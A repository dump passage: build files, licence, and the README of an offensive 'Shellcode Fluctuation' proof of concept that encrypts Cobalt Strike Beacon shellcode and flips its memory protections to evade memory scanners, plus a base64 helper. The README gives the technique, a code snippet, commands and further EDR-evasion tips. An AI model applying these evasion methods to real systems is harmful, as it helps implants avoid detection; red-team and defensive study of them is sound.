PVOID pArg, ULONG Flags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaxStackSize, PVOID pAttrListOut ); ================================================ FILE: chapter4-demo3/demo1/x64/Debug/demo1.exe.recipe ================================================  E:\last\demo1\x64\Debug\demo1.exe ================================================ FILE: chapter4-demo3/demo1/x64/Debug/demo1.log ================================================  demo1.vcxproj -> E:\last\demo1\x64\Debug\demo1.exe ================================================ FILE: chapter4-demo3/demo1/x64/Debug/demo1.tlog/demo1.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Debug|x64|E:\last\demo1\| ================================================ FILE: chapter4-demo3/demo1/x64/Release/demo1.exe.recipe ================================================  E:\last\demo3\x64\Release\demo1.exe ================================================ FILE: chapter4-demo3/demo1/x64/Release/demo1.log ================================================  demo1.cpp E:\last\demo3\demo1\header.h(6,67): warning C4312: “类型强制转换”: 从“unsigned int”转换到更大的“void *” E:\last\demo3\demo1\demo1.cpp(29,10): warning C4244: “=”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo3\demo1\demo1.cpp(34,28): warning C4244: “参数”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo3\demo1\demo1.cpp(39,16): warning C4018: “<”: 有符号/无符号不匹配 E:\last\demo3\demo1\demo1.cpp(386,32): error C2026: 字符串太大,已截断尾部字符 E:\last\demo3\demo1\demo1.cpp(411,58): warning C4267: “初始化”: 从“size_t”转换到“DWORD”,可能丢失数据 E:\last\demo3\demo1\demo1.cpp(412,16): warning C4244: “初始化”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo3\demo1\demo1.cpp(417,3): warning C4244: “参数”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo3\demo1\demo1.cpp(416,3): warning C4244: “参数”: 从“SIZE_T”转换到“DWORD”,可能丢失数据 E:\last\demo3\demo1\demo1.cpp(425,20): warning C4018: “<=”: 有符号/无符号不匹配 E:\last\demo3\demo1\demo1.cpp(452,20): warning C4018: “<”: 有符号/无符号不匹配 ================================================ FILE: chapter4-demo3/demo1/x64/Release/demo1.tlog/demo1.lastbuildstate ================================================ PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.32.31326:TargetPlatformVersion=10.0.19041.0: Release|x64|E:\last\demo3\| ================================================ FILE: chapter4-demo3/demo1/x64/Release/demo1.tlog/unsuccessfulbuild ================================================ ================================================ FILE: chapter4-demo3/demo1.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.28729.10 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "demo1", "demo1\demo1.vcxproj", "{1876F365-2DEC-42C9-B80E-B631B26FCAD8}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x64.ActiveCfg = Debug|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x64.Build.0 = Debug|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x86.ActiveCfg = Debug|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Debug|x86.Build.0 = Debug|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x64.ActiveCfg = Release|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x64.Build.0 = Release|x64 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x86.ActiveCfg = Release|Win32 {1876F365-2DEC-42C9-B80E-B631B26FCAD8}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {1F8E67EA-F3B7-42DD-84B6-2CD2AC0305B7} EndGlobalSection EndGlobal ================================================ FILE: chapter4-demo4/CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. ## Our Standards Examples of behavior that contributes to a positive environment for our community include: * Demonstrating empathy and kindness toward other people * Being respectful of differing opinions, viewpoints, and experiences * Giving and gracefully accepting constructive feedback * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience * Focusing on what is best not just for us as individuals, but for the overall community Examples of unacceptable behavior include: * The use of sexualized language or imagery, and sexual attention or advances of any kind * Trolling, insulting or derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or email address, without their explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Enforcement Responsibilities Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate. ## Scope This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at Mariusz Banach (mgeeky, @mariuszbit, mb@binary-offensive.com). All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the reporter of any incident. ## Enforcement Guidelines Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct: ### 1. Correction **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community. **Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested. ### 2. Warning **Community Impact**: A violation through a single incident or series of actions. **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban. ### 3. Temporary Ban **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. ### 4. Permanent Ban **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. **Consequence**: A permanent ban from any sort of public interaction within the community. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see the FAQ at https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations. ================================================ FILE: chapter4-demo4/LICENSE.txt ================================================ MIT License Copyright (c) 2021 Mariusz Banach (mgeeky, ) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: chapter4-demo4/README.md ================================================ # Shellcode Fluctuation PoC A PoC implementation for an another in-memory evasion technique that cyclically encrypts and decrypts shellcode's contents to then make it fluctuate between `RW` (or `NoAccess`) and `RX` memory protection. When our shellcode resides in `RW` or `NoAccess` memory pages, scanners such as [`Moneta`](https://github.com/forrest-orr/moneta) or [`pe-sieve`](https://github.com/hasherezade/pe-sieve) will be unable to track it down and dump it for further analysis. ## Intro After releasing [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer) I've received a few questions about the following README's point: > Change your Beacon's memory pages protection to RW (from RX/RWX) and encrypt their contents before sleeping (that could evade scanners such as Moneta or pe-sieve) Beforewards I was pretty sure the community already know how to encrypt/decrypt their payloads and flip their memory protections to simply evade memory scanners looking for anomalous executable regions. Questions proven otherwise so I decided to release this unweaponized PoC to document yet another evasion strategy and offer sample implementation for the community to work with. This PoC is a demonstration of rather simple technique, already known to the offensive community (so I'm not bringin anything new here really) in hope to disclose secrecy behind magic showed by some commercial frameworks that demonstrate their evasion capabilities targeting both aforementioned memory scanners. **Here's a comparison when fluctuating to RW** (another option is to fluctuate to `PAGE_NOACCESS` - described below): 1. Beacon not encrypted 2. **Beacon encrypted** (_fluctuating_) ![comparison](images/comparison.png) This implementation along with my [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer) brings Offensive Security community sample implementations to catch up on the offering made by commercial C2 products, so that we can do no worse in our Red Team toolings. 💪 --- ## How it works? This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`). When shellcode runs (this implementation specifically targets Cobalt Strike Beacon implants) a Windows function will be hooked intercepting moment when Beacon falls asleep `kernel32!Sleep`. Whenever hooked `MySleep` function gets invoked, it will localise its memory allocation boundaries, flip their protection to `RW` and `xor32` all the bytes stored there. Having awaited for expected amount of time, when shellcode gets back to our `MySleep` handler, we'll decrypt shellcode's data and flip protection back to `RX`. ### Fluctuation to `PAGE_READWRITE` works as follows 1. Read shellcode's contents from file. 2. Hook `kernel32!Sleep` pointing back to our callback. 3. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread`. In contrary to what we had in `ThreadStackSpoofer`, here we're not hooking anything in ntdll to launch our shellcode but rather jump to it from our own function. This attempts to avoid leaving simple IOCs in memory pointing at modified ntdll memory. 3. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked. 4. Beacon's memory allocation gets encrypted and protection flipped to `RW` 5. We then unhook original `kernel32!Sleep` to avoid leaving simple IOC in memory pointing that `Sleep` have been trampolined (in-line hooked). 5. A call to original `::Sleep` is made to let the Beacon's sleep while waiting for further communication. 11. After Sleep is finished, we decrypt our shellcode's data, flip it memory protections back to `RX` and then re-hook `kernel32!Sleep` to ensure interception of subsequent sleep. ### Fluctuation to `PAGE_NOACCESS` works as follows 1. Read shellcode's contents from file. 2. Hook `kernel32!Sleep` pointing back to our callback. 3. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread` ... 4. Initialize Vectored Exception Handler (VEH) to setup our own handler that will catch _Access Violation_ exceptions. 5. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked. 6. Beacon's memory allocation gets encrypted and protection flipped to `PAGE_NOACCESS` 7. We then unhook original `kernel32!Sleep` to avoid leaving simple IOC in memory pointing that `Sleep` have been trampolined (in-line hooked). 8. A call to original `::Sleep` is made to let the Beacon's sleep while waiting for further communication. 9. After Sleep is finished, we re-hook `kernel32!Sleep` to ensure interception of subsequent sleep. 10. Shellcode then attempts to resume its execution which results in Access Violation being throwed since its pages are marked NoAccess. 11. Our VEH Handler catches the exception, decrypts and flips memory protections back to `RX` and shellcode's is resumed. --- ### It's not a novel technique The technique is not brand new, nothing that I've devised myself. Merely an implementation showing the concept and its practical utilisation to let our Offensive Security community catch up on offering made by commercial C2 frameworks. Actually, I've been introduced to the idea of flipping shellcode's memory protection couple of years back through the work of [**Josh Lospinoso**](https://github.com/JLospinoso) in his amazing [Gargoyle](https://github.com/JLospinoso/gargoyle). Here's more background: - [gargoyle, a memory scanning evasion technique](https://lospi.net/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html) - [Bypassing Memory Scanners with Cobalt Strike and Gargoyle](https://labs.f-secure.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle/) **Gargoyle** takes the concept of self-aware and self-fluctuating shellcode a way further, by leveraging ROP sequence calling out to `VirtualProtect`. However the technique is impressive, its equally hard to leverage it with Cobalt Strike's Beacon without having to kill its thread and keep re-initializing Beacon while in memory. That's far from perfect, however since we already operate from the grounds of our own self-injection loader process, we're able to do whatever we want with the environment in which shellcode operate and hide it however we like. This technique (and the previous one being [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer)) shows advantages from running our shellcodes this way. The implementation of fluctuating to `PAGE_NOACCESS` is inspired by [ORCA666](https://github.com/ORCA666)'s work presented in his https://github.com/ORCA666/0x41 injector. He showed that: 1. we can initialize a vectored exception handler (VEH), 2. flip shellcode's pages to no-access 3. and then catch Access Violation exceptions that will occur as soon as the shellcode wants to resume its execution and decrypt + flip its memory pages back to Read+Execute. This implementation contains this idea implemented, available with option `2` in ``. Be sure to check out other his projects as well. --- ## Demo The tool `ShellcodeFluctuation` accepts three parameters: first one being path to the shellcode and the second one modifier of our functionality. ``` Usage: ShellcodeFluctuation.exe : -1 - Read shellcode but dont inject it. Run in an infinite loop. 0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything 1 - Inject shellcode and start fluctuating its memory with standard PAGE_READWRITE. 2 - Inject shellcode and start fluctuating its memory with ORCA666's PAGE_NOACCESS. ``` ### Moneta (seemingly) False Positive ``` C:\> ShellcodeFluctuation.exe beacon64.bin -1 ``` So firstly we'll see what `Moneta64` scanner thinks about process that does nothing dodgy and simply resorts to run an infinite loop: ![moneta false positive](images/false-positive.png) As we can see there's some **false positive** (at least how I consider it) allegdly detecting `Mismatching PEB module` / `Phantom image`. The memory boundaries point at the `ShellcodeFluctuate.exe` module itself and could indicate that this module however being of `MEM_IMAGE` type, is not linked in process' PEB - which is unsual and sounds rather odd. The reason for this IOC is not known to me and I didn't attempt to understand it better, yet it isn't something we should be concerned about really. If anyone knows what's the reason for this detection, I'd be very curious to hear! Please do reach out. ### Not Encrypted Beacon ``` C:\> ShellcodeFluctuation.exe beacon64.bin 0 ``` The second use case presents Memory IOCs of a Beacon operating within our process, which does not utilise any sorts of customised `Artifact Kits`, `User-Defined Reflective Loaders` (such as my [`ElusiveMice`](https://github.com/mgeeky/ElusiveMice)), neither any initial actions that would spoil our results. ![moneta not encrypted](images/not-encrypted.png) We can see that `Moneta64` correctly recognizes `Abnormal private executable memory` pointing at the location where our shellcode resides. That's really strong Memory IOC exposing our shellcode for getting dumped and analysed by automated scanners. Not cool. ### Encrypted Beacon with RW protections ``` C:\> ShellcodeFluctuation.exe beacon64.bin 1 ``` Now the third, most interesting from perspective of this implementation, use case being _fluctuating_ Beacon. ![moneta encrypted](images/encrypted.png) Apart from the first IOC, considered somewhat _false positive_, we see a new one pointing that `kernel32.dll` memory was modified. However, no `Abnormal private executable memory` IOC this time. Our fluctuation (repeated encryption/decryption and memory protections flipping is active). And for the record, `pe-sieve` also detects implanted PE when used with `/data 3` option (unless this option is given, no detection will be made): ![pe-sieve](images/pe-sieve3.png) My current assumption is that PE-Sieve is picking up on the same traits that Moneta does (described below in _Modified code in kernel32.dll_) - the fact that PE mapped module has a non-empty Working set, being an evident fact of code injection of some sort. That is labeled as _Implanted PE_ / _Implanted_. If that's the case, conclusion is similar to the Moneta's observation. I don't think we should care that much about that IOC detection-wise. Currently I thought of no better option to intercept shellcode's execution in the middle (now speaking of Cobalt Strike), other than to hook `kernel32!Sleep`. Thus, we are bound to leave these sorts of IOCs. But hey, still none of the bytes differ compared to what is lying out there on the filesystem (`C:\Windows\System32\kernel32.dll`) and no function is hooked, what's the deal? 😉 ### Encrypted Beacon with PAGE_NOACCESS protections ``` C:\> ShellcodeFluctuation.exe beacon64.bin 2 ``` ![no-access](images/no-access1.png) That will cause the shellcode to fluctuate between `RX` and `NA` pages effectively. At the moment I'm not sure of benefits of flipping into `PAGE_NOACCESS` instead of `PAGE_READWRITE`. ### Modified code in kernel32.dll So what about that modified `kernel32` IOC? Now, let us attempt to get to the bottom of this IOC and see what's the deal here. Firstly, we'll dump mentioned memory region - being `.text` (code) section of `kernel32.dll`. Let us use `ProcessHacker` for that purpose to utilise publicly known and stable tooling: ![dump-kernel](images/dump-kernel.png) We dump code section of allegedly modified kernel32 and then we do the same for the kernel32 running in process that did not modify that area. Having acquired two dumps, we can then compare them byte-wise (using my [expdevBadChars](https://github.com/mgeeky/expdevBadChars)) to look for any inconsitencies: ![bindiff](images/bindiff0.png) Just to see that they match one another. Clearly there isn't a single byte modified in `kernel32.dll` and the reason for that is because we're unhooking `kernel32!Sleep` before calling it out: `main.cpp:31:` ``` HookTrampolineBuffers buffers = { 0 }; buffers.originalBytes = g_hookedSleep.sleepStub; buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub); // // Unhook kernel32!Sleep to evade hooked Sleep IOC. // We leverage the fact that the return address left on the stack will make the thread // get back to our handler anyway. // fastTrampoline(false, (BYTE*)::Sleep, &MySleep, &buffers); // Perform sleep emulating originally hooked functionality. ::Sleep(dwMilliseconds); ``` So what's causing the IOC being triggered? Let us inspect `Moneta` more closely: ![moneta](images/moneta.png) Breaking into Moneta's `Ioc.cpp` just around the 104 line where it reports `MODIFIED_CODE` IOC, we can modify the code a little to better expose the exact moment when it analyses kernel32 pool. Now: 1. The check is made to ensure that kernel32's region is executable. We see that in fact that region is executable `a = true` 2. Amount of that module's private memory is acquired. Here we see that `kernel32` has `b = 0x1000` private bytes. How come? There should be `0` of them. 3. If executable allocation is having more than 0 bytes of private memory (`a && b`) the IOC is reported 4. And that's a proof we were examining kernel32 at that time. When Windows Image Loader maps a DLL module into process' memory space, the underlying memory pages will be labeled as `MEM_MAPPED` or `MEM_IMAGE` depending on scenario. Whenever we modify even a single byte of the `MEM_MAPPED`/`MEM_IMAGE` allocation, the system will separate a single memory page (assuming we modified less then `PAGE_SIZE` bytes and did not cross page boundary) to indicate fragment that does not maps back to the original image. This observation is then utilised as an IOC - an image should not have `MEM_PRIVATE` allocations within its memory region (inside of it) because that would indicate that some bytes where once modified within that region. Moneta is correctly picking up on code modification if though bytes were matching original module's bytes at the time of comparison. For a comprehensive explanation of how Moneta, process injection implementation and related IOC works under the hood, read following top quality articles by **Forrest Orr**: 1. [Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing) 2. [Masking Malicious Memory Artifacts – Part II: Blending in with False Positives](https://www.forrest-orr.net/post/masking-malicious-memory-artifacts-part-ii-insights-from-moneta) 3. [Masking Malicious Memory Artifacts – Part III: Bypassing Defensive Scanners](https://www.cyberark.com/resources/threat-research-blog/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners) That's a truly outstanding research and documentation done by Forrest, great work pal! Especially the second article outlines the justification for this detection, as we read what Forrest teaches us: > In the event that the module had been legitimately loaded and added to the PEB, the shellcode implant would still have been detected due to the 0x1000 bytes (1 page) of memory privately mapped into the address space and retrieved by Moneta by querying its working set - resulting in a modified code IOC as seen above. To summarise, we're leaving an IOC behind but should we be worried about that? Even if there's an IOC there are no stolen bytes visible, so no immediate reference pointing back to our shellcode or distinguishing our shellcode's technique from others. Long story short - we shouldn't be really worried about that IOC. :-) ### But commercial frameworks leave no IOCs One can say, that this implementation is far from perfect because it leaves something, still there are IOCs and the commercial products show they don't have similar traits. When that argument's on the table I need to remind, that, the commercial frameworks have complete control over source code of their implants, shellcode loaders and thus can nicely integrate one with another to avoid necessity of hooking and hacking around their shellcode themselves. Here, we need to hook `kernel32!Sleep` to intercept Cobalt Strike's Beacon execution just before it falls asleep in order to kick on with our housekeeping. If there was a better mechanism for us kicking in without having to hook sleep - that would be perfect. However there is a notion of [_Sleep Mask_](https://www.cobaltstrike.com/help-sleep-mask-kit) introduced to Cobalt Strike, the size restrictions for being hundreds of byte makes us totally unable to introduce this logic to the mask itself (otherwise we'd be able not to hook `Sleep` as well, leaving no IOCs just like commercial products do). Another argument might be, that commercial framework integrate these sorts of logic into their _Reflective Loaders_ and here we instead leave it in EXE harness. That's true, but the reason for such a decision is twofold: 1. I need to be really careful with releasing this kind of technology to avoid the risk of helping weaponize the real-world criminals with an implementation that will haunt us back with another Petya. In that manner I decided to skip some of the gore details that I use in my professional tooling used to deliver commercial, contracted Adversary Simulation exercises. Giving out the seed hopefully will be met with community professionals able to grow the concept in their own toolings, assuming they'll have apropriate skills. 2. I'd far prefer to move this entire logic to the [_User-Defined Reflective Loader_](https://www.cobaltstrike.com/help-user-defined-reflective-loader) of Cobalt Strike facilitating Red Team groups in elevated chances for their delivery phase. But firstly, see point (1), secondly that technology is currently limited to 5KBs size for their RDLLs, making me completely unable to implement it there as well. For those of us who build custom C2 & implants for in-house Adversary Simulation engagements - they now have received a sample implementation that will surely help them embellishing their tooling accordingly. --- ## How do I use it? Look at the code and its implementation, understand the concept and re-implement the concept within your own Shellcode Loaders that you utilise to deliver your Red Team engagements. This is an yet another technique for advanced in-memory evasion that increases your Teams' chances for not getting caught by Anti-Viruses, EDRs and Malware Analysts taking look at your implants. While developing your advanced shellcode loader, you might also want to implement: - **Process Heap Encryption** - take an inspiration from this blog post: [Hook Heaps and Live Free](https://www.arashparsa.com/hook-heaps-and-live-free/) - which can let you evade Beacon configuration extractors like [`BeaconEye`](https://github.com/CCob/BeaconEye) - [**Spoof your thread's call stack**](https://github.com/mgeeky/ThreadStackSpoofer) before sleeping (that could evade scanners attempting to examine process' threads and their call stacks in attempt to hunt for `MEM_PRIVATE` memory allocations referenced by these threads) - **Clear out any leftovers from Reflective Loader** to avoid in-memory signatured detections - **Unhook everything you might have hooked** (such as AMSI, ETW, WLDP) before sleeping and then re-hook afterwards. --- ## Example run Use case: ``` Usage: ShellcodeFluctuation.exe : -1 - Read shellcode but dont inject it. Run in an infinite loop. 0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything 1 - Inject shellcode and start fluctuating its memory with standard PAGE_READWRITE. 2 - Inject shellcode and start fluctuating its memory with ORCA666's PAGE_NOACCESS. ``` Where: - `` is a path to the shellcode file - `` as described above, takes `-1`, `0` or `1` Example run that spoofs beacon's thread call stack: ``` C:\> ShellcodeFluctuation.exe ..\..\tests\beacon64.bin 1 [.] Reading shellcode bytes... [.] Hooking kernel32!Sleep... [.] Injecting shellcode... [+] Shellcode is now running. PID = 9456 [+] Fluctuation initialized. Shellcode resides at 0x000002210C091000 and occupies 176128 bytes. XOR32 key: 0x1e602f0d [>] Flipped to RW. Encoding... ===> MySleep(5000) [.] Decoding... [>] Flipped to RX. [>] Flipped to RW. Encoding... ===> MySleep(5000) ``` --- ## Word of caution If you plan on adding this functionality to your own shellcode loaders / toolings be sure to **AVOID** unhooking `kernel32.dll`. An attempt to unhook `kernel32` will restore original `Sleep` functionality preventing our callback from being called. If our callback is not called, the thread will be unable to spoof its own call stack by itself. If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps. If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked. This way you can maintain your hooks in kernel32: ``` beacon> unhook kernel32 [*] Running unhook. Will skip these modules: wmp.dll, kernel32.dll [+] host called home, sent: 9475 bytes [+] received output: ntdll.dll <.text> Unhook is done. ``` [Modified `unhook-bof` with option to ignore specified modules](https://github.com/mgeeky/unhook-bof) --- ## Final remark This PoC was designed to work with Cobalt Strike's Beacon shellcodes. The Beacon is known to call out to `kernel32!Sleep` to await further instructions from its C2. This loader leverages that fact by hooking `Sleep` in order to perform its housekeeping. This implementation might not work with other shellcodes in the market (such as _Meterpreter_) if they don't use `Sleep` to cool down. Since this is merely a _Proof of Concept_ showing the technique, I don't intend on adding support for any other C2 framework. When you understand the concept, surely you'll be able to translate it into your shellcode requirements and adapt the solution for your advantage. Please do not open Github issues related to "this code doesn't work with XYZ shellcode", they'll be closed immediately. --- ### ☕ Show Support ☕ This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community, [Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪 --- ## Author ``` Mariusz Banach / mgeeky, 21 (https://github.com/mgeeky) ``` ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/ShellcodeFluctuation.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {9eed9e19-9475-4d2e-9b06-37d6799417fe} ShellcodeFluctuation 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode true false true false Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp17 Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp17 Console true true true Level3 false _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp17 false false Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true stdcpp17 Console true true true ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/ShellcodeFluctuation.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files Header Files Header Files ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/ShellcodeFluctuation.vcxproj.user ================================================  d:\dev2\ShellcodeFluctuation\tests\beacon64.bin 2 WindowsLocalDebugger ================================================ FILE: chapter4-demo4/ShellcodeFluctuation/base64.cpp ================================================ /* base64.cpp and base64.h base64 encoding and decoding with C++. More information at https://renenyffenegger.ch/notes/development/Base64/Encoding-and-decoding-base-64-with-cpp Version: 2.rc.08 (release candidate) Copyright (C) 2004-2017, 2020, 2021 Ren?Nyffenegger This source code is provided 'as-is', without any express or implied warranty. In no event will the author be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this source code must not be misrepresented; you must not claim that you wrote the original source code. If you use this source code in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original source code. 3. This notice may not be removed or altered from any source distribution. Ren?Nyffenegger rene.nyffenegger@adp-gmbh.ch */ #include "base64.h" #include #include // // Depending on the url parameter in base64_chars, one of // two sets of base64 characters needs to be chosen. // They differ in their last two characters. // static const char* base64_chars[2] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/", "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "-_" }; static unsigned int pos_of_char(const unsigned char chr) { // // Return the position of chr within base64_encode() // if (chr >= 'A' && chr <= 'Z') return chr - 'A'; else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1; else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2; else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters ( else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_' else // // 2020-10-23: Throw std::exception rather than const char* //(Pablo Martin-Gomez, https://github.com/Bouska) // throw std::runtime_error("Input is not valid base64-encoded data."); } static std::string insert_linebreaks(std::string str, size_t distance) { // // Provided by https://github.com/JomaCorpFX, adapted by me. // if (!str.length()) { return ""; } size_t pos = distance; while (pos < str.size()) { str.insert(pos, "\n"); pos += distance + 1; } return str; } template static std::string encode_with_line_breaks(String s) { return insert_linebreaks(base64_encode(s, false), line_length); } template static std::string encode_pem(String s) { return encode_with_line_breaks(s); } template static std::string encode_mime(String s) { return encode_with_line_breaks(s); } template static std::string encode(String s, bool url) { return base64_encode(reinterpret_cast(s.data()), s.length(), url); } std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url) { size_t len_encoded = (in_len + 2) / 3 * 4; unsigned char trailing_char = url ? '.' : '='; // // Choose set of base64 characters. They differ // for the last two positions, depending on the url // parameter. // A bool (as is the parameter url) is guaranteed // to evaluate to either 0 or 1 in C++ therefore, // the correct character set is chosen by subscripting // base64_chars with url. // const char* base64_chars_ = base64_chars[url]; std::string ret; ret.reserve(len_encoded); unsigned int pos = 0; while (pos < in_len) { ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]); if (pos + 1 < in_len) { ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & 0x03) << 4) + 